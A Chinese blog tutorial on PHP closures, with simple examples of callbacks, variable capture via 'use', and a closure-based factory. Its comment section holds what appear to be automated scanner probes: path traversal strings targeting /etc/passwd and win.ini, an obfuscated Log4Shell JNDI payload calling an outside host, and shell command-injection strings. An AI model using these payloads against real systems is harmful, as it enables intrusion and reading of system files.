注册 登陆

    2019-01-19 16:24:16深入了解PHP闭包的使用以及实现

    您现在的位置是: 首页 >  php >  深入了解PHP闭包的使用以及实现

    一、介绍

    匿名函数(Anonymous functions),也叫闭包函数(closures),允许 临时创建一个没有指定名称的函数。最经常用作回调函数(callback)参数的值。当然,也有其它应用的情况。


    二、使用场景

    1、动态调用静态类的时候

    <?php
    class test
    {
        public static function getinfo()
        {
            var_dump(func_get_args());
        }
    }
     
    call_user_func(array('test', 'getinfo'), 'hello world');

    2、在callback函数中使用 

    <?php
    //eg array_walk array_map preg_replace_callback etc
     
    echo preg_replace_callback('~-([a-z])~', function ($match) {
        return strtoupper($match[1]);
    }, 'hello-world');
    // 输出 helloWorld
    ?>

    3、赋值给一个普通的变量

    <?php
    $greet = function($name)
    {
        printf("Hello %s\r\n", $name);
    };
     
    $greet('World');
    $greet('PHP');
    ?>

    4、使用use从父域中继承

    <?php
    $message = 'hello';
     
    // 继承 $message
    $example = function () use ($message) {
        var_dump($message);
    };
    echo $example();
     
     
    // Inherit by-reference
    $example = function () use (&$message) {
        var_dump($message);
    };
    echo $example();
     
    // The changed value in the parent scope
    // is reflected inside the function call
    $message = 'world';
    echo $example();

     5、传递参数

    <?php
    $example = function ($arg) use ($message) {
        var_dump($arg . ' ' . $message);
    };
    $example("hello");

     6、OO中的使用 

    <?php
     
    class factory{
        private $_factory;
        public function set($id,$value){
            $this->_factory[$id] = $value;
        }
         
        public function get($id){
            $value = $this->_factory[$id];
            return $value();
        }
    }
    class User{
        private $_username;
        function __construct($username="") {
            $this->_username = $username;
        }
        function getUserName(){
            return $this->_username;
        }
    }
     
    $factory = new factory();
     
    $factory->set("zhangsan",function(){
        return new User('张三');
    });
    $factory->set("lisi",function(){
       return new User("李四");
    });
    echo $factory->get("zhangsan")->getUserName();
    echo $factory->get("lisi")->getUserName();

    7、函数中的调用

    <?php
     
    function call($callback){
                $callback();
        }
    call(function() {
        var_dump('hell world');
    });


关键字词: php闭包

0

上一篇: 再见2018,你好2019

下一篇: 设计模式总结





时间:2022-11-11 22:53:44 WfxYANoW:
555
时间:2022-11-11 22:53:56 WfxYANoW:
../../../../../../../../../../../../../../etc/passwd
时间:2022-11-11 22:53:56 WfxYANoW:
../../../../../../../../../../../../../../windows/win.ini
时间:2022-11-11 22:53:57 WfxYANoW:
555
时间:2022-11-11 22:53:57 WfxYANoW:
${j${::-n}di:dns${::-:}//hitjdeyakjmsp711bb${::-.}bxss.me}zzzz
时间:2022-11-11 22:53:57 WfxYANoW:
echo hqcsev$()\ tebdoq\nz^xyu||a #' &echo hqcsev$()\ tebdoq\nz^xyu||a #|" &echo hqcsev$()\ tebdoq\nz^xyu||a #
时间:2022-11-11 22:53:57 WfxYANoW:
../555
时间:2022-11-11 22:54:01 WfxYANoW:
555
时间:2022-11-11 22:54:01 WfxYANoW:
&echo payhlr$()\ sganyj\nz^xyu||a #' &echo payhlr$()\ sganyj\nz^xyu||a #|" &echo payhlr$()\ sganyj\nz^xyu||a #
时间:2022-11-11 22:54:01 WfxYANoW:
|echo ndpvfs$()\ mdkxnd\nz^xyu||a #' |echo ndpvfs$()\ mdkxnd\nz^xyu||a #|" |echo ndpvfs$()\ mdkxnd\nz^xyu||a #